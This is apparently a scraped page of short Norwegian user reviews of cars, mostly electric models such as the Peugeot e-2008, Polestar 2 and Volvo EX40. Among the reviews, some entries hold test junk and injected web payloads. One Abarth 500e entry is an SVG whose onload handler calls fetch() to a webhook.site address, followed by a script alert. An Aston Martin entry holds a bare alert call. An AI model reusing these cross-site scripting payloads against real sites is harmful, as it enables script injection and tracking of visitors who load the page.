Vurdert av Sverre
Peugeot e-2008 (2022)
Vi har hatt bilen nå i 2 1/2 år og kaster nå inn håndkleet. Ingen av oss føler oss trygg på bilen på vinterveier. Ja, det kan ha noe med sjåførene å gjøre, men når ingen av oss har hatt pr
Peugeot e-2008 (2021)
Ble kjøpt som bil nummer to, men endte opp med å bli den vi bruker mest. Mye bil for pengene. Lader hjemme, så da er ikke ladehastigheten noe tema, men den kunne nok vært bedre. Når ikke rekkevid
Peugeot e-2008 (2021)
Jeg gikk inn på Bertel O. Steen for å kjøpe en MB EQC, men kommer ut med en Peugeot i istedenfor. Jeg tror det sier alt
Peugeot e-2008 (2020)
Fantastisk bil som blir «glemt» oppi alt «maset»med ID.3 og til dels MGZ. Glimrende å kjøre med lett sportslig komfort. Oppleves som litt premium sammenlignet med de andre konkurrentene som kost
Peugeot e-2008 (2020)
En flott Elbil i sin klasse
Peugeot e-2008 (2020)
Superfornøyd med bilen. Nydelig å kjøre.
Peugeot e-2008 (2020)
Utmerket praktisk mellomklassebil - eller stor småbil med utmerket rekkevidde/ lading, siden 100 KW-ladingen gir over 80% på batteriet på en halvtime. Ulempe at det er langt mellom 100 kW-laderne i
Peugeot e-2008 (2020)
Har hatt bilen nå siden juni 2020 og kjørt over 14.000km, bilen er god og kjøre men skal du kjøre en del på E6 i 110 km/h så kommer du ca 22 mil på sommer i eco mode og nå på vinteren ca 15 m
Peugeot e-2008 (2020)
God bil
Peugeot e-2008 (2020)
Alt i alt en super og lettkjørt bil.
Peugeot e-2008 (2020)
perfekt bil for ein liten fam.god rekkevidde grei pris og god komfår
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km